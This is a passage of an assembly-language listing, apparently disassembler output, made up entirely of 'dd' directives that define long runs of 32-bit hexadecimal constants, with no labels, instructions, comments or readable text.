		dd 0A9E9D638h, 443D7822h, 0CD019605h, 9208C810h, 7860178Dh
		dd 447A5E5Eh, 922FB9B8h, 0C0D5EFCAh, 2FB56B61h,	0EE54A069h
		dd 0B20BFB20h, 5011B861h, 8ED51F0h, 6CEC1C82h, 6842391Dh
		dd 97F1BEDDh, 0F97A927Dh, 0C607C9D3h, 17F499EFh, 7AE7F4C9h
		dd 0EF76E084h, 48ADC788h, 3A49306h, 0C9042286h,	0BE4CC02Ah
		dd 98B23520h, 3A55200Bh, 43E1BD06h, 1E41F9Dh, 3F154AF5h
		dd 52CD58E9h, 5E5FD2BDh, 28DACA4h, 0CC51B54h, 9C0B01D4h
		dd 2043F13Fh, 38AD0FAEh, 28C5536Eh, 41A91D2h, 271D2ABFh
		dd 6841C62Ch, 993E750Eh, 45A22ADDh, 0EF99AB96h,	9F513234h
		dd 0DCF2D554h, 70E9C162h, 0E02D9716h, 311B1118h, 685617D2h
		dd 0CD1E8DA5h, 0BFB3BDAh, 9C82DE91h, 5D0196C5h,	0CAE3CE09h
		dd 814E569Dh, 4C083BC8h, 0AEA7043h, 44825D1Dh, 3E06F380h
		dd 24C12B22h, 81CB08EBh, 31A6D2C3h, 0D0042BB2h,	5007592h
		dd 713620Ch, 720D69Ch, 0D916E92Ch, 4E043389h, 0A9739DF5h
		dd 969D8EA0h, 5F542482h, 1820000Ah, 685022C4h, 0E9027E25h
		dd 8100DFA3h, 0E3946EAh, 68538F83h, 0DBF8B7D1h,	6D2BCAC1h
		dd 0A0346C3Ah, 7E8C1h, 624FD235h, 7AFDE97Fh, 8485DBB5h
		dd 0ABC8B70Fh, 0EBD2F6E2h, 406A618Fh, 5283022Ch, 0D160466Ch
		dd 0EB74744Ch, 3B385D60h, 28DD80DEh, 41EEE889h,	22853E28h
		dd 15D84EEh, 6411B7BCh,	22233E4Fh, 0C9F702EAh, 72960BEEh
		dd 0A9242A56h, 81180E6Ch, 5533853h, 70EA267Dh, 342D17B6h
		dd 2A6CDA8Dh, 283837C7h, 0A5A6201Eh, 0B56ACCB5h, 470E157Bh
		dd 0A3EF1201h, 5771C605h, 7EB62420h, 0AC3612BAh, 664181BAh
		dd 983B72CFh, 0CA1C13Ah, 0B53205Ah, 14B50A07h, 0D499FBE9h
		dd 1F12524Ch, 2984EF5h,	4B6E02CDh, 2F5113E9h, 55F817BCh
		dd 6FF08F20h, 0F750165Ch, 847F09D6h, 57A909FDh,	0E6AC0C6Fh
		dd 3257D49h, 0BBE140F7h, 62BD3435h, 6805DABEh, 0CC442EDCh
		dd 0A0177F4Ch, 564B5A68h, 5CA80724h, 56BD8F14h,	0AE170884h
		dd 70749A29h, 3FAE410Eh, 281073A0h, 0FA7330h, 615C1EC2h
		dd 0E9EA012Dh, 6EE13CFEh, 0BA76FEDh, 2BAFB2C8h,	1E7A6B9Dh
		dd 0DE19B11Ch, 3F627A1h, 5D6B2542h, 79BF9B46h, 0FC2F6237h
		dd 0E581B077h, 0C6CE9D7Ch, 4052E91Ch, 2718DF2Dh, 0D9B5E768h
		dd 0BE8A0F4h, 3FA22636h, 0D22D3CFEh, 4B762024h,	0F1BA5D95h
		dd 0AA691A84h, 0D8923AFCh, 855AB151h, 20855CB2h, 0ED76EB34h
		dd 0B82D4F07h, 0A8E48610h, 63C1003Dh, 219D83F3h, 99BC59CEh
		dd 80D45515h, 606BBDBEh, 46714Dh, 2FC3B850h, 0C631337Dh
		dd 0FD25CA93h, 0E2F74789h, 67CB838Dh, 0B96C5D4Ah, 68B22DD3h
		dd 95009310h, 417DBB36h, 0F9825B68h, 564080F7h,	58215014h
		dd 2F735FE9h, 0A27AA15Ch, 8097B4F4h, 65CA35CBh,	2D4C7AA6h
		dd 3251682Eh, 5C820392h, 0FF99859h, 2C999A0h, 0ABB2D2F3h
		dd 0F29D8FDDh, 4E62E701h, 0B42055ECh, 30604E09h, 0B243DD8Ah
		dd 0E6813501h, 608B7DE3h, 0F7E6042Bh, 0C3BCEFDEh, 88634407h
		dd 13C66015h, 164FD46Fh
		dd 0E938FAB8h, 0AA39DE2Ch, 86CE208Eh, 0DB4984BDh, 4728E1A8h
		dd 493709C0h, 60FD3DA6h, 9AEB16B0h, 20019F85h, 270A6D68h
		dd 47F40540h, 0C9E55480h, 0E989906Eh, 0C6B60648h, 76407484h
		dd 413359C1h, 8A5A9223h, 43E91DA6h, 65068A7h, 0E20A5C36h
		dd 0D026E7Ch, 0BF2CECA5h, 0EB4A73B6h, 26AF5B24h, 0E62F2EBDh
		dd 0FECBA4E5h, 84BF894Eh, 0FA1C7721h, 0D9052D64h, 84CCE29Bh
		dd 0C4556050h, 49A27181h, 0C42BBD05h, 0B0BFA9EEh, 0C541160Dh
		dd 0D8C315CBh, 0B037252h, 43840FC9h, 659D24C6h,	0A7E91DA3h
		dd 7B5E22EAh, 847CDE2Fh, 0FC734868h, 62E3C466h,	65F4E741h
		dd 0EF6D3098h, 0C185502h, 55F831F2h, 9AF14B42h,	53D93605h
		dd 0C1BDD9FBh, 3C35235Ch, 6AD38452h, 80FF32FCh,	543BBA2h
		dd 0D2F70F18h, 26390D10h, 5A30A48h, 44B5C31h, 0E25AD6FAh
		dd 9B590DBh, 2B154C3h, 7CF0D2A6h, 0C2E9D04Fh, 0ADFA61B5h
		dd 5091603Fh, 15392273h, 85333D2Dh, 5D0296Dh, 0C15A070Eh
		dd 126F7465h, 842DD8F4h, 105C6813h, 2604C9CDh, 1A1AA182h
		dd 515DBA82h, 0F00810Ah, 0D73C87Dh, 4B44E448h, 6B08B13Ch
		dd 0EA0F7F8Ah, 0F7A98A87h, 0D72D4954h, 5E50CB2Bh, 0FDB3515Fh
		dd 2E38EAD3h, 2FA341DBh, 0A040DA9h, 0ABD21A09h,	0EF0252ECh
		dd 66F63577h, 8A0E0DEh,	42997EC6h, 0FDBF1E40h, 0AB2A5624h
		dd 5A5F12C2h, 1A9A21Bh,	6657E90Fh, 0F8DF742Eh, 43F9A13Ah
		dd 0F2BED78Eh, 0BE6BFD07h, 14F74AE9h, 601FF8C1h, 0CFBD546Dh
		dd 0C7A7236h, 5F8BD459h, 4039F781h, 481E430h, 7C552DF2h
		dd 0C22CFA2Ah, 107B26A3h, 0E8DA12C7h, 4639B1D8h, 6A656801h
		dd 0E80DF762h, 69428FF3h, 72553D38h, 895D167Ah,	6464F5h
		dd 0C131028Bh, 0D116F74Ch, 4EE0BBE9h, 9A1BEC53h, 47719547h
		dd 951F3CC6h, 0D2BDD772h, 98595034h, 0C13B126Fh, 0DEF60172h
		dd 603CA85Fh, 0F9900685h, 71ABE15Fh, 8C054A3Fh,	0EB3772D7h
		dd 0F3C04ECFh, 150A1ACAh, 495E821Ah, 0CB810025h, 18FA688Eh
		dd 0B789BDh, 1EA4F088h,	97B9BA55h, 191711F4h, 508FA0EDh
		dd 2C60314Bh, 0B53BF68h, 0BBB305C4h, 5332D830h,	4E8350EEh
		dd 0B109EC54h, 1B656362h, 5AB0FD3Bh, 7C05E8D7h,	4CBFF2BFh
		dd 0B5272099h, 63F2215Ah, 87C6E16h, 2AB104BFh, 0D5D71D72h
		dd 27088AABh, 800601F4h, 0C5CC4AEDh, 0DD2837B6h, 0CC3D5810h
		dd 0F74434D2h, 7BBC9C80h, 0F3104093h, 0D28D1E05h, 0D6B3FA09h
		dd 5BEA85Bh, 80A0A144h,	0E4C59ECh, 0BE301E12h, 0A1E8CBCDh
		dd 0B814C026h, 7569652Eh, 9A092A90h, 0E616E73Ch, 5932CBEAh
		dd 8106F748h, 3734C90Bh, 40F20F8Ah, 0DDF3BA71h,	9BC85C01h
		dd 1502E812h, 14BABA1h,	58508D8Bh, 0ED0A301Bh, 0D13207A2h
		dd 3AA9B480h, 0DCBD3032h, 2E607068h, 0C1457782h, 0A7025C65h
		dd 7D8FE91Ch, 5568B618h, 21821116h, 16CC0BE0h, 0FB641C5Ch
		dd 0C7312021h, 0F9684960h, 0FF04CCAh, 66C870AAh, 682F70F2h
		dd 0A5C94164h, 70EB6AAEh, 7A250BC4h, 0A5DA2977h, 0E4DF0982h
		dd 27ED200Eh, 86C24095h, 8F209E4Ch, 73C47FEBh, 0FD8D8044h
		dd 82EF7B06h, 890A8C18h, 1470FF7Dh, 1C450883h, 20AFFA14h
		dd 0FA110E80h, 7127E948h, 0BE2E4549h, 0B223B692h, 76FC0793h
		dd 8AC27227h, 0DE824925h, 0BC3601DCh, 95A8551h,	32DBC2F1h
		dd 0D8F7FF50h, 4490C68h, 2757857Ah, 16A97FA4h, 0C168873Ch
		dd 6FC197B3h, 484C26CEh, 55B6BF02h, 50D50A52h, 0A9CF0149h
		dd 0F77ED547h, 516130DFh, 9D40BD04h, 8899F989h,	5B2C8D24h
		dd 1BACC25h, 0FD319C81h, 6D89D79Eh, 0CBCE7674h,	0C1420758h
		dd 88A4744Bh, 5D264105h, 25CBD108h, 0C7AAB0DFh,	6F47B4BBh
		dd 0F9177926h, 9925459Fh, 2E37784Fh, 403D04E0h,	0F5A2C77h
		dd 18C93AF2h, 9ED851F5h, 88048453h, 0D3E9C2DAh,	67C2FC5Fh
		dd 8E7DF6E9h, 4E5B11BEh, 0AC70EC80h, 24A9AC5Ch,	0AC75ADE9h
		dd 65802B0h, 5574316Dh,	0C43E60Bh, 4BF0C71h, 0E97F446Ch
		dd 0A15DAF4Eh, 0C52C3A82h, 30557EF3h, 831AC842h, 0B64ED390h
		dd 6F5B89ABh, 68F0AAF2h, 0C69D6395h, 3062016h, 5FFE2B0h
		dd 0F4D5C2AAh, 0FE69667Dh, 0F1D35D96h, 1C772A0Fh, 0D7F79782h
		dd 0FA2D4650h, 0D71F3AFDh, 48614212h, 853E64F6h, 5F8B7045h
		dd 0CE807FBFh, 5CE7E90Dh, 4E82F896h, 7FD61DD5h,	0BA013284h
		dd 39F4BD21h, 6EF39150h, 58892D55h, 0C69F615Eh,	1774EAFh
		dd 8A60D4B8h, 70440106h, 5F26E997h, 90AFF1DAh, 0D623B0A1h
		dd 7901AB14h, 44485FFBh, 63DCAB14h, 0EA7B4B68h,	587CA230h
		dd 0F765048Eh, 0BFF1E9D6h, 4FF36F16h, 0ECC1317Bh, 0DC8DB116h
		dd 0F5A43437h, 2C40191Ch, 837D72E5h, 0E20C4F08h, 73C01B26h
		dd 1DD8D833h, 84AF5EE8h, 2E80B5CBh, 8628E1A1h, 7D3CEE4Fh
		dd 4349408Ah, 1AB024B8h, 1E02289Ah, 0E9950ECAh,	0BAEFE84h
		dd 22D3595Fh, 6314C501h, 502E49A6h, 592F08E0h, 0BB0D3553h
		dd 0BD3A3780h, 12335193h, 0DD6368B3h, 106059BAh, 0B5C0566Fh
		dd 6244ECEh, 0C37B015h,	3DCA501Ch, 5F8272FCh, 59495AFCh
		dd 18294738h, 3D4B3C92h, 2D25DE06h, 68048BD3h, 0DF33EECh
		dd 0F1620B7Eh, 1A8DE927h, 0D5B26E6Ah, 580EC2B4h, 0D2BF1A66h
		dd 5CF50044h, 0E937670Bh, 9FC05258h, 41491402h,	3FAAA05Dh
		dd 2DAF2D1Ah, 0B7F1FE01h, 0E9AA41F3h, 0FFA72B36h, 24805327h
		dd 29D85C7Bh, 5B78DFFAh, 272CA3FCh, 0B30058D6h,	0E9425402h
		dd 0A48D4820h, 3D5BC981h, 74ACED1Bh, 0D028F7A3h, 540FAF96h
		dd 0C475C302h, 580EFCA8h, 7F4598C6h, 7028E04Bh,	3E55EE9h
		dd 6F18033h, 0DA25C199h, 0E8F5D342h, 0B702AB3Fh, 53146C67h
		dd 9B322F6h, 0C72987F1h, 0D4B76E05h, 3A09BBDEh,	3C40D7C1h
		dd 83FF835Ah, 5F42842Fh, 588CC254h, 0F4DEBDF1h,	82D8CD50h
		dd 692A51D7h, 0E9CB387Fh, 91BB6EEFh, 11B68A1h, 41F6290Ah
		dd 5ADE4208h, 0A7BE5600h, 7B120916h, 0C589F331h, 0D6270376h
		dd 1768E28Fh, 0BE06A5ECh, 1DDC30E9h, 0A79A4DD0h, 0D9123D05h
		dd 0C7B50E57h, 72E4FA4Fh, 4D29AB68h, 0B26C866Bh, 1273222h
		dd 0DF2B90C2h, 0C7B8503Ah, 3E1BEDA1h, 0FC185EA8h, 0A7BA2838h
		dd 1D922F07h, 0BBC24A42h, 9191AA76h, 53026B0Bh,	0BB0CB795h
		dd 0B86330D5h, 5B36CBAFh, 8469F359h, 0A44B1A25h, 0F5886DA2h
		dd 526401F4h, 2B8F9BAh,	321B310Dh, 0A88F5750h, 9A602000h
		dd 505401Eh, 733ABCC5h,	0CB3418D7h, 20ECB7B1h, 0E947129Ch
		dd 0BFAEC448h, 0CAB195E8h, 0FFAD2B20h, 0B2924E78h, 705A0605h
		dd 0BC64A95h, 4291405Eh, 1A0E4400h, 93B82EEBh, 49E4748h
		dd 94D68E7Bh, 0BBFC85EAh, 0C88B4FE5h, 4D4DEBFh,	675F9960h
		dd 0C301285Eh, 0C7347ABEh, 0E279C173h, 0EA571310h, 6BF6751Eh
		dd 38E91354h, 4B5AD063h, 42E7440Ah, 22F455FFh, 60BA5127h
		dd 0CC685156h, 71056619h, 7DC20986h, 48E2FB76h,	5994FD40h
		dd 6B5A5F48h, 6E450477h, 8507ECAAh, 69F8427Eh, 555B2D3h
		dd 2C7068D1h, 0FD110ACh, 203CA04h, 917E95Ah, 0DA5111E9h
		dd 2EF32022h, 5F00899Fh, 26586FE1h, 39BB4F1Ch, 0EEE4466Ah
		dd 0D98C115Ah, 293B185h, 7032F0CDh, 4DA4C057h, 0CE5C7E60h
		dd 2CC5BA0Ch, 12E6AE7Dh, 5C74E9C2h, 0C726E5F3h,	74F07422h
		dd 6ACF334Ah, 0CAD15A2Dh, 0B41DAD70h, 83686358h, 5A0F3CE0h
		dd 0CEF3909Fh, 278CDCF4h, 379422D5h, 447D09E1h,	5FFA25C0h
		dd 5438D4E0h, 22E93B0Bh
		dd 7039FE57h, 9C9D322Eh, 7F8486Bh, 8C455317h, 4B38E906h
		dd 0DAEA4B74h, 0D9D84F99h, 238C2768h, 40A1B36Ch, 7AE61025h
		dd 7C1E3D4Dh, 0B7CA27BEh, 0E8688263h, 249A93Ah,	0FF807360h
		dd 60F6ADCEh, 0D08835C3h, 7DC39A53h, 1DFD3689h,	885C014Ah
		dd 628DE9EBh, 0A2C20310h, 0B01C6B43h, 27297AE2h, 80DD5759h
		dd 3F88F2ECh, 1C2BEDE4h, 58F349DDh, 0D4277CDCh,	7E9E163h
		dd 2BCE2F01h, 5B93BB00h, 2E96776h, 4BE2864Fh, 605F7E85h
		dd 870EE4DBh, 57560F1Fh, 73278EC2h, 8CD0DE06h, 5B2E6E25h
		dd 15A2B801h, 0D0012FCEh, 0B9FD4F21h, 172E7125h, 5D98AAADh
		dd 0BC1B444h, 0E716E230h, 0F6CAFE0Eh, 0D7DA49D2h, 49F4D407h
		dd 0D5355285h, 8E49E4AFh, 0AFAB7192h, 0F54D5829h, 0F90898A4h
		dd 1E2D0148h, 0E8097D35h, 59B75301h, 9098E408h,	19C6806Ah
		dd 7502FF9Dh, 98A42465h, 0BDB1BEC3h, 609571F2h,	4A29C1B9h
		dd 0E1030974h, 8FE95506h, 0A3F76CDh, 6A177A68h,	4A4E1CBDh
		dd 1C984163h, 4CA0E01Ch, 0D11654EAh, 0ACF388E5h, 0EF98EF96h
		dd 852E68C1h, 0AA3503BFh, 7A78220Ah, 0A5A8574Bh, 44F563E7h
		dd 0E93E9888h, 0E0C7BA4Ah, 0A70F7441h, 36F287F4h, 0D608D6F7h
		dd 0E70A750Ch, 7FAD9E33h, 0BA1E4A74h, 5F08CE10h, 29C475E2h
		dd 895198D0h, 0FF304225h, 0D52721C7h, 1D168760h, 0DB8B8C0h
		dd 9F5DED08h, 0E80F2551h, 47D36105h, 43D83F76h,	0A6972DFAh
		dd 0E0342C40h, 94EF8980h, 5E7752E5h, 61BE580Bh,	203E1816h
		dd 31561601h, 0C80075Fh, 76BF2ABDh, 0ECB0FE29h,	0C400883h
		dd 0F67CE914h, 0D33574C2h, 0F58C42C9h, 260659E3h, 6C872BD5h
		dd 0BC47E4Eh, 94E97B2Fh, 3F440CE9h, 0C893D2ECh,	45411D47h
		dd 624E3F41h, 8CF9DFC2h, 5CA4FC16h, 49EA0BCFh, 2D804FA7h
		dd 1048221Ah, 0FA97E2B0h, 0BCE91837h, 0ABC22FB2h, 18C0313h
		dd 564A3500h, 5AE9100Bh, 8B08C48Ah, 93697728h, 0BECDD189h
		dd 0B9AB4D13h, 74B76F5h, 5A2719E7h, 0BF4BD9F0h,	7BB89D60h
		dd 47C2000Ch, 5201E883h, 27766FBAh, 20BF2D48h, 25C09048h
		dd 0D07B662Fh, 0C30254A7h, 844BBE22h, 25A367F8h, 0CD9693D6h
		dd 0F066B102h, 0BA52DD3Dh, 773E2B95h, 440F992h,	3A7B726Bh
		dd 0F16014Fh, 0E2008B16h, 7BE83B48h, 4F7627BDh,	640906D4h
		dd 0BC01F933h, 0F091EA5h, 8814E77Dh, 2C038660h,	0EFF8289Eh
		dd 60D66B4Fh, 18F06879h, 0A8110F55h, 0C16BEEAh,	0D4181228h
		dd 2C659186h, 8CC69034h, 0EB28D389h, 0E4513809h, 4D2A8070h
		dd 9F4E692Ah, 8202856h,	0D4598F98h, 57BE00E8h, 929226Dh
		dd 0C9FB9F2h, 268738F0h, 4742F31Eh, 7B55EE8Bh, 0BE560020h
		dd 0F4C2C2Ah, 0CE7DE912h, 134BE6BEh, 0F8245EF7h, 0C28BF9BEh
		dd 66593768h, 6BE91399h, 0BF86940Eh, 929A59C8h,	656BD5Ah
		dd 507276D2h, 60606CE9h, 4A64BD38h, 17524A94h, 2C81B0B3h
		dd 0F831455Fh, 34344CE6h, 0DF661495h, 0CB20D27Eh, 0C6EB8325h
		dd 4EEAFA33h, 0BDF7D0DAh, 44386E4Ch, 0E4C2D043h, 0EFA7FC16h
		dd 6034C8FAh, 0A941D14Ah, 26820C74h, 9C9D920h, 4F6A9639h
		dd 31146BF0h, 7D8041CCh, 6BF3F06h, 8036F729h, 79E95E08h
		dd 253B7B0h, 0B3536601h, 1B30285Ah, 0ED5BF002h,	0C7FBAB45h
		dd 0B88AD5C0h, 0C5FE804Dh, 955749E9h, 5F8B1A7Dh, 30578032h
		dd 59685389h, 0E90D0E7Bh, 0C23CBCFAh, 0B643865Fh, 61C84870h
		dd 0E21829h, 0E165599Fh, 0BFFB89h, 1278DD31h, 13E7FE4Bh
		dd 22CA6h, 5F0CF740h, 8AA00D7Ch, 7E0B3D3Fh, 0C8E7D116h
		dd 3A6DEF31h, 31B42D84h, 2F54FC4Ch, 27187216h, 0E8E19B1h
		dd 0BBA9D40Fh, 73BE1A20h, 634A8910h, 1D695BE0h,	870CE87Dh
		dd 0F12E17E6h, 0F293E962h, 8EECF9FFh, 0AF1256CFh, 4EE94698h
		dd 53E087BFh, 0A3119CAh, 0D3F79009h, 6697002Ah,	31D8849Ch
		dd 4934DE5Fh, 88DB0ABFh, 0BF32B4DDh, 27CAD607h,	0FFF4064h
		dd 1BA49250h, 1AE94E01h, 69067AC9h, 0F9DD778Fh,	17849BB6h
		dd 494B3225h, 0EC6BC551h, 5E9C484Eh, 0BFC4BCB6h, 0F3EC176Bh
		dd 891AC31Eh, 4354BE70h, 701A1E8h, 17A1B06h, 8048465h
		dd 99BCB884h, 0DAC3E9B0h, 4A2D7AB9h, 0D4504234h, 1A5CA740h
		dd 279FFF0Ch, 377F0BEAh, 0DB2966EBh, 9A43E04h, 56A3DE5Eh
		dd 0EE2FC720h, 0B3459FEEh, 1A05E98Dh, 2FC17230h, 80558958h
		dd 3EA20A93h, 0AA014AA9h, 7F84FB56h, 7B4AF2FEh,	0FC0A7B25h
		dd 0F189C209h, 79D496F5h, 4F4D90EFh, 8F8505Ch, 8139BA4Ah
		dd 8A5CF66Ah, 0CA196C9Fh, 3F30EA9Eh, 0C050430h,	1CD3F760h
		dd 84A69100h, 4A5BDA29h, 8559BD5Dh, 9B20520Eh, 2C07D73h
		dd 0D92ABB5Fh, 0BFFD475h, 6C4A052Eh, 0D63CBBE9h, 5B29FACFh
		dd 12E4562h, 92D62F70h,	28680203h, 0E2BB854Ch, 0E957C188h
		dd 46DD948h, 5A199E11h,	456CE98h, 3B5F9A68h, 278C157h
		dd 5DBF00BAh, 90E49872h, 0E6CCB00Ch, 7A76148Eh,	0D904AE61h
		dd 0E1F61E28h, 5106842Eh, 0DFB133E9h, 9BB4230h,	52DA1556h
		dd 47FCF89h, 42A2878Bh,	1380AD97h, 72BF6337h, 0BC4410AAh
		dd 0A017C820h, 0E450B49Ah, 0ECC01F2Fh, 0A3138B08h, 8B4892F5h
		dd 75C15504h, 4FD278F8h, 28A9BFFCh, 134D00D6h, 0DBE93D1Fh
		dd 0FA3BE13Bh, 735C5D3Dh, 6AA141F6h, 74108EE6h,	805B005Fh
		dd 885377C2h, 0F3FCE4D7h, 0D5B062FEh, 3F35D618h, 0BE98D395h
		dd 0A6AE193Eh, 1677A521h, 5BB9099Eh, 0E70030EDh, 29EC4BE5h
		dd 210DE2ECh, 18480A09h, 124272FCh, 0EB7FE934h,	7D5C9449h
		dd 0EB01F9Ch, 77A70997h, 93FF2509h, 0A50E4065h,	0FA991331h
		dd 3F87AB8Eh, 32530D01h, 7057935h, 2CFB9C12h, 0D197570Ah
		dd 0C4E9653Dh, 2BDCC999h, 0E50F6795h, 0DF8CC452h, 3F9EBAACh
		dd 8D1ECA5h, 42A9D992h,	0A967E9A0h, 10D6BABDh, 176850FAh
		dd 5F373F7h, 0FA7136ADh, 3F50BBF7h, 0D9FC9D3Ch,	5865456Fh
		dd 873DE061h, 1672D207h, 0CA75E0EAh, 0A3818DE0h, 0DE36E742h
		dd 1CFDEB19h, 702D01ACh, 0E978772Fh, 7455A59Dh,	9FEED062h
		dd 0A73281C8h, 59ED7490h, 0B6B96EE1h, 8851C2C5h, 66599B67h
		dd 5F594843h, 0E44A03ADh, 0EC30E909h, 555D2088h, 60A0F050h
		dd 0F8BE749h, 20B71048h, 0D4977AB2h, 9956BFCEh,	0ED1756ACh
		dd 993B84E2h, 0F1F72041h, 965A370Bh, 0A7FED43Fh, 0E99F83D5h
		dd 0C8DF47D3h, 0D8D21559h, 0D52D687Dh, 552A181Bh, 1A4127E9h
		dd 0DC9503C8h, 41CC1927h, 61FD4311h, 0BB4AD17Dh, 45FA37C5h
		dd 0FF1183AFh, 929DBD31h, 0EBF5D76Ch, 6C12E0B2h, 1C0DFDBDh
		dd 0B44360Ch, 0A8E4E8D1h, 3034E205h, 0F0F0846h,	0D58E14Fh
		dd 0E5372578h, 57964Fh,	2453FB2Fh, 0BC5BE91Fh, 0A1B335AEh
		dd 29FC3FECh, 10AB3DADh, 680E1C44h, 0BF132CEAh,	0FCA419F2h
		dd 62ABB700h, 566387D2h, 54F7C83h, 668FBE10h, 0F60AC08Ch
		dd 365C30F3h, 0CF12E2Bh, 349D6813h, 0D664CFECh,	7B21BE3Ah
		dd 0FB05BB4Ah, 8CB41983h, 628730E8h, 0BE01956Fh, 0A00C4CDh
		dd 6958E959h, 1DF52E40h, 6BD9A57Bh, 516A362h, 26D74740h
		dd 29B4326Bh, 0FE8933C0h, 45BD659Ah, 0CC0925A6h, 0C13C517Fh
		dd 6ECD17E9h, 0C96C9331h, 0B3530E80h, 15EB808Ch, 0C98606CFh
		dd 0D4F74220h, 0E2F425D0h, 4682FF49h, 545F7EB3h, 3A9AA467h
		dd 43401E2Eh, 3AE828CBh, 57EE2C1h, 0FF36985Eh, 101A6988h
		dd 0D20BF977h, 6FD585Fh, 153AB2CDh, 25C1213h, 0DEE11204h
		dd 0D9A18AFCh, 0D8E90003h
		dd 0EA59C002h, 11401B12h, 9A05F2ECh, 313DCDEBh,	10497BFh
		dd 826FC509h, 7E03CB0Ch, 0B440772Eh, 0B8804DADh, 0E61606EAh
		dd 0BEEBF72h, 81CD3150h, 1026C505h, 94FA4578h, 0AB081361h
		dd 0AA2AFF2Dh, 25E97B3Ch, 4CDDEAC6h, 97DAE00Dh,	3E4C96C9h
		dd 4835C300h, 0BA830482h, 4E6871D7h, 0A07F244Fh, 0A528E90Dh
		dd 0CC301EF7h, 7FB00DC4h, 2DC51C80h, 0EDBAFA28h, 0C6A5A2DEh
		dd 1E62F5h, 59EB20CEh, 6DE9C3FEh, 0B248B964h, 0C2829681h
		dd 5B1C8304h, 0FB1BD58Fh, 32E931B4h, 0B8778DD4h, 0F842787Ch
		dd 8039BA97h, 84760C61h, 7B0CC153h, 30B05271h, 6D021313h
		dd 69E9371Bh, 7A114C57h, 67A5E151h, 74EDF80h, 0CB01816Bh
		dd 1B9046FAh, 133B8DE9h, 0EC628D2Dh, 0B8AAD663h, 672D2260h
		dd 2BDB491Fh, 9C5D752h,	30BAD9AFh, 4B6B4A67h, 10F5EC7h
		dd 944186BEh, 217EAF07h, 5BDE01AAh, 0F775A02Eh,	90D648h
		dd 0FB36B518h, 0B1ED11E9h, 1E5E0889h, 0D03A412Dh, 0DAF60C84h
		dd 0B0A385C0h, 202F6E92h, 0C0B656C2h, 51F0E280h, 57D7B127h
		dd 0C41E490Fh, 0B828B6F1h, 0CE253BABh, 6A763732h, 0E4D07EE8h
		dd 2DA1EC3Ch, 0CC575E51h, 0CFA4FE94h, 1A94CD02h, 40451FDDh
		dd 300ECB73h, 361A1DBBh, 27480210h, 2D290304h, 0E6313C68h
		dd 569B4074h, 0B0585CBEh, 296D127Eh, 14BE0143h,	7E332540h
		dd 0D756CA09h, 0C1CEBAD9h, 0B9057CCEh, 7A62E03Eh, 0EDBFC518h
		dd 257547D6h, 7A781E6Fh, 2B08EA51h, 6EB82CAAh, 0BBBB240h
		dd 77CD10D4h, 9BF330A0h, 4348217Eh, 0C2371030h,	38D06627h
		dd 0A80B5963h, 0F929D134h, 6DC11091h, 5969240Ah, 0B8223E17h
		dd 51994F5h, 1E445232h,	0EBB7D1EAh, 28217007h, 56E4485Eh
		dd 4ACB03C7h, 5D571BA4h, 6E5C1C8h, 17E64548h, 0B602967h
		dd 2D370E05h, 79C2616Dh, 68570703h, 31EDDCE7h, 0AA89875Ah
		dd 9BA1DE20h, 0BFE9C1C8h, 0BA228184h, 73AB218Eh, 932854E9h
		dd 3264EE4Ah, 2801DF8Eh, 6F6866C3h, 84B26A56h, 61050B18h
		dd 31801110h, 4A1AF8C5h, 0DC31EE25h, 922F8A05h,	0BE743376h
		dd 5A6F2260h, 0FC505B2Bh, 0BBDE25BEh, 0EEA1DB6Bh, 0FD054E16h
		dd 68C35015h, 0FEC8723Ah, 2B8D6B55h, 0B7F845C9h, 66EC950Eh
		dd 1462F0F4h, 5CC8453h,	0AFE3EB01h, 6DBC8532h, 681BF65Ah
		dd 0FA352F53h, 509E7F5Ah, 3854609Dh, 45B60676h,	0C95007E9h
		dd 10BBED4Fh, 4D24C334h, 1075C2E3h, 23C6FF09h, 46EFEBDh
		dd 941285E9h, 28D8FB23h, 0E3204AC7h, 5CAC17F8h,	88C0C6FCh
		dd 82A6E9D4h, 0F52786BAh, 4BAC5B5Eh, 5C6D6C5Fh,	5E2A1FEAh
		dd 5BDA30E8h, 47672E96h, 0B4F57BE3h, 425551C1h,	160B8601h
		dd 41578B5h, 0C44D30BDh, 4605EE06h, 0AB81FE58h,	0B7D09BC3h
		dd 42684A91h, 2A96E999h, 566386A0h, 97F41CABh, 414DC6Bh
		dd 83BB706Ah, 0D3828C7Ch, 751E9D22h, 0AC25CB46h, 0D07C532h
		dd 2ACDEF88h, 0C01848F4h, 0D2F75DEFh, 0D2954A42h, 32C24CB7h
		dd 12602D13h, 7240BAA6h, 5B0B33FBh, 68551D52h, 6BA3CBD1h
		dd 0C00ED058h, 0C02B146Dh, 3B63DFF5h, 8164B139h, 0C977E4BAh
		dd 0FC092A0Ch, 47BC8005h, 4B65E91Eh, 7D27FAAEh,	8A2CC4Ah
		dd 3FB358BFh, 0B455692Bh, 5BF15DF9h, 44561888h,	27D6E941h
		dd 2052413Bh, 7F703E3Dh, 9E04D1B2h, 0C51EAC73h,	996906B8h
		dd 85381864h, 291114C0h, 4A924BDAh, 0FAFF084h, 6776ACBBh
		dd 830393BEh, 44074E18h, 36AF750Ch, 5513E3C2h, 57022DC4h
		dd 0B1319BBFh, 0F481753Bh, 0C6731516h, 56CE8E7Dh, 0C102EFE9h
		dd 0CCBE5A1h, 29E2B07Eh, 4D7AC1CFh, 5B51D38Fh, 23004B09h
		dd 499B3488h, 0CC042F90h, 554A1015h, 338BAAh, 4B62424Ch
		dd 2CB116BDh, 18D17829h, 0CE88240Ch, 0C17B70E5h, 0E8C01841h
		dd 0D9595A66h, 0EA24540Bh, 0E8E731BCh, 0FB4BD316h, 0F7FAC25Ch
		dd 5709924Eh, 75C0E1E9h, 64B4CB79h, 0E992DCEFh,	4D671737h
		dd 0F7390D67h, 789F44E4h, 14F95B67h, 7C0A43FEh,	9957B4Bh
		dd 98F5E334h, 0A85A8179h, 25685944h, 0B0DC11E1h, 6853D772h
		dd 0C1CC5649h, 8976F768h, 0B01753ABh, 0BDEE9D65h, 591C2466h
		dd 40A5CD09h, 641A6883h, 0A47C3B5Ch, 0D5BF6EBh,	31419BA5h
		dd 0B62F1640h, 0AB4C685Ah, 9D5FC03Eh, 5D28B25Fh, 0A4870409h
		dd 76A51965h, 625AC2F8h, 561B60F5h, 43CD35Eh, 0FA3BE5CAh
		dd 58145E31h, 0D2D1F19Fh, 0F7E2BAB0h, 760B3D0Fh, 127D4F64h
		dd 0AA803849h, 52921248h, 0C9FCB6FAh, 0BA800056h, 9F2CC13Fh
		dd 4DD6750Bh, 9D3DC600h, 6960E972h, 9282528Ch, 987FABA1h
